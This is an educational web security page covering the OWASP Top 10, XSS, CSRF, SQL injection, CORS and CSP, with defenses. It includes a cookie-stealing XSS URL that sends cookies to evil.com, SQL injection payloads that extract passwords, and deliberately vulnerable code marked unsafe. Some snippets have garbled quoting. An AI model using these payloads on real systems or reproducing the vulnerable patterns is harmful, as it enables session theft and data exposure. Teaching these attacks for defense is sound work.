Skip to content

Web Security

The OWASP Top 10 is the de facto standard for web application security awareness. The 2021 edition Reflects the shift toward cloud-native architectures and API-driven applications.

#CategoryRoot Cause
A01Broken Access ControlMissing authorization checks, IDOR
A02Cryptographic FailuresWeak or missing encryption, exposed sensitive data
A03InjectionUnsanitized input in queries, commands, templates
A04Insecure DesignMissing threat modeling, abuse case analysis
A05Security MisconfigurationDefault configs, unnecessary features, verbose errors
A06Vulnerable and Outdated ComponentsUnaudited dependencies, known CVEs
A07Identification and Authentication FailuresWeak passwords, broken session management
A08Software and Data Integrity FailuresInsecure deserialization, unsigned updates
A09Security Logging and Monitoring FailuresInsufficient logging, no alerting
A10Server-Side Request Forgery (SSRF)Server coerced into making unauthorized requests

XSS occurs when an application includes untrusted data in a web page without proper validation or Escaping, allowing an attacker to execute scripts in the victim”s browser.

TypeStorage LocationExecution ContextDifficulty
ReflectedURL parameters, form inputsResponse HTMLMedium
StoredDatabase, user contentWhen content is renderedHigh
DOM-basedClient-side JavaScriptClient-side DOM manipulationMedium

The malicious payload is included in the immediate HTTP response. The attacker crafts a URL Containing the payload and tricks the victim into visiting it.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

If the server reflects the q parameter directly into the HTML without encoding, the script Executes in the victim’s browser.

The payload is persisted in the application (database, comment, user profile) and executed every Time any user views the affected content.

// Vulnerable: storing and rendering user comments without sanitization
const comment = req.body.comment;
db.query('INSERT INTO comments (text) VALUES (?)', [comment]);
// Rendering (vulnerable):
// <div>${comment}</div>

Stored XSS is more dangerous than reflected XSS because it affects all users who view the Compromised content, not just the user who clicks a crafted link.

The vulnerability exists entirely in client-side JavaScript. The payload is manipulated in the DOM Without being sent to the server.

// Vulnerable: reading from location.hash and inserting into DOM
const userInput = document.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

Primary defense: Output encoding. Encode data based on the context where it appears:

ContextEncoding RequiredExample
HTML bodyHTML entity encoding&lt;script&gt;&lt;script&gt;
HTML attributeAttribute encoding" onclick="&quot; onclick=&quot;
JavaScriptJavaScript encoding</script>\x3c/script\x3e
URLURL encodingjavascript:javascript%3A
CSSCSS encodingexpression()\65xpression()
// Using a templating engine with auto-escaping (safe)
// React/JSX auto-escapes by default
function UserProfile({ username }) {
return <div>Hello, {username}</div>; // username is escaped
}
// Using DOM APIs safely
document.getElementById('output').textContent = userInput; // safe, no HTML parsing
// vs
document.getElementById('output').innerHTML = userInput; // UNSAFE

Content Security Policy (CSP) is a secondary defense that mitigates the impact of XSS by Restricting which scripts can execute.

CSRF tricks an authenticated user into executing an unwanted action on a web application where they Are already authenticated. The attack exploits the browser’s automatic inclusion of credentials (cookies) with requests.

sequenceDiagram
    participant V as Victim
    participant A as Attacker Site
    participant B as Bank (Victim's account)

    V->>B: Login to bank (session cookie set)
    V->>A: Visit attacker page
    A->>B: GET/POST /transfer?to=attacker&amount=10000 (automatic cookie send)
    B->>B: Execute transfer (valid session)
    B->>A: Redirect to confirmation page
DefenseMechanismEffectiveness
SameSite cookie attributeBrowser does not send cookies on cross-site requestsStrong (Lax/Strict)
CSRF tokenHidden form field validated on submissionStrong
Custom request headerJavaScript sets header, cross-origin cannotStrong (API-only)
Requiring user interactionRe-authentication for sensitive actionsStrong

SameSite cookies are the primary defense for modern applications:

Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly

CSRF tokens for legacy applications:

<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6" />
<input type="text" name="amount" />
<button type="submit">Transfer</button>
</form>

The server generates a cryptographically random token per session (or per request), includes it in Forms, and validates it on submission. The token must be tied to the user’s session.

Custom headers for API endpoints:

// Fetch API includes custom headers — cross-origin requests require CORS preflight
fetch('https://api.example.com/transfer', {
method: "POST'',
headers: {
"Content-Type': "application/json'',
"X-CSRF-Token': "a1b2c3d4e5f6'',
},
credentials: "include',
});

If your API uses Authorization: Bearer headers (not cookies), it is inherently protected from CSRF Because the browser does not automatically attach custom headers to cross-origin requests.

SQL injection occurs when user input is concatenated into SQL queries without parameterization, Allowing an attacker to manipulate the query’s logic.

Classic (in-band):

-- Input: " OR ''1"='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '...'
-- Returns all users, bypasses authentication

Union-based:

-- Input: " UNION SELECT username, password FROM users --
SELECT name, description FROM products WHERE id = ''" UNION SELECT username, password FROM users --'
-- Exposes usernames and passwords from users table

Blind (boolean-based):

-- Input: " AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=''admin")='a' --
-- Attacker extracts password one character at a time based on response differences

Blind (time-based):

-- Input: "; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username=''admin")='a' WAITFOR DELAY '0:0:5' --
-- Attacker extracts password based on response timing

Primary defense: Parameterized queries (prepared statements).

# VULNERABLE — string concatenation
cursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
# SAFE — ORM
user = User.query.filter_by(username=username, password_hash=hash).first()
Language/FrameworkSafe Method
Python (sqlite3)cursor.execute("SELECT * FROM users WHERE id = ?", (id,))
Python (SQLAlchemy)session.query(User).filter(User.id == id)
Java (JDBC)PreparedStatement with ? placeholders
Node.js (pg)client.query("SELECT * FROM users WHERE id = $1", [id])
Go (database/sql)db.Query("SELECT * FROM users WHERE id = ?", id)
PHP (PDO)$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?")

Additional defenses:

  • Least privilege: Application database user should not have DROP``ALTEROr GRANT permissions
  • Allowlist input validation: For known-format inputs (integers, UUIDs), validate format before querying
  • WAF: Web Application Firewall can block common injection patterns (but is not a substitute for parameterized queries)

CORS is a browser security mechanism that controls which origins can access resources on a different Origin. Without CORS, browsers enforce the Same-Origin Policy (SOP), which prevents web pages from Making requests to a different domain, protocol, or port.

sequenceDiagram
    participant B as Browser
    participant F as Frontend (example.com)
    participant A as API (api.example.com)

    B->>A: Preflight OPTIONS request (Origin: example.com)
    A->>B: Response (Access-Control-Allow-Origin: example.com)
    B->>A: Actual request (Origin: example.com)
    A->>B: Response with data + CORS headers
HeaderPurpose
Access-Control-Allow-OriginWhich origins can access the resource
Access-Control-Allow-MethodsWhich HTTP methods are allowed
Access-Control-Allow-HeadersWhich request headers are allowed
Access-Control-Allow-CredentialsWhether cookies/auth headers can be sent
Access-Control-Max-AgeHow long the preflight result can be cached
Access-Control-Expose-HeadersWhich response headers the browser can expose
MisconfigurationRisk
Access-Control-Allow-Origin: * with credentialsAny site can make authenticated requests
Reflecting Origin header without validationAny origin is allowed
null origin allowedSandboxed iframes and redirects can bypass CORS
// VULNERABLE — reflecting origin without validation
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
// SAFE — allowlist specific origins
const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}

CSP is an HTTP response header that restricts which resources the browser can load for a given page. It is a defense-in-depth mechanism against XSS and data injection.

DirectivePurposeExample
default-srcFallback for other resource types'self'
script-srcAllowed JavaScript sources'self' 'nonce-abc123'
style-srcAllowed CSS sources'self' 'unsafe-inline'
img-srcAllowed image sources'self' data: https:
font-srcAllowed font sources'self' https://fonts.gstatic.com
connect-srcAllowed fetch/XHR/WebSocket targets'self' https://api.example.com
frame-srcAllowed iframe sources'none'
object-srcAllowed plugin (Flash, etc.) sources'none'
base-uriAllowed base URL for relative URLs'self'
form-actionAllowed form submission targets'self'
frame-ancestorsWho can embed this page in a frame'none'
upgrade-insecure-requestsAutomatically upgrade HTTP to HTTPSN/A
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m123' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-report;

A nonce (number used once) is a random value generated per request that allows specific inline Scripts:

// Server generates nonce per request
const nonce = crypto.randomBytes(16).toString('base64');
// CSP header includes the nonce
// Content-Security-Policy: script-src 'nonce-abc123' 'self'
// HTML includes inline script with matching nonce
// <script nonce="abc123">
// // This script is allowed
// </script>
// <script>
// // This script is BLOCKED (no nonce)
// </script>

Reference Standards: OWASP Top 10 (2021), OWASP Testing Guide v4, OWASP Cheat Sheet Series, CSP Level 3 (W3C Recommendation), CORS (W3C Recommendation), RFC 6265 (HTTP Cookies), RFC 7231 (HTTP/1.1 Semantics), RFC 9110 (HTTP Semantics).

This topic covers the essential concepts and techniques related to web security, including key principles and practical applications.

Key concepts include:

  • core concepts and definitions
  • key principles and frameworks
  • practical applications
  • common techniques and methods
  • evaluation and critical analysis

A thorough understanding of these concepts, combined with regular practice and review, is essential for mastery of this topic.

Worked examples demonstrating the application of key concepts are covered in the detailed sub-pages linked above.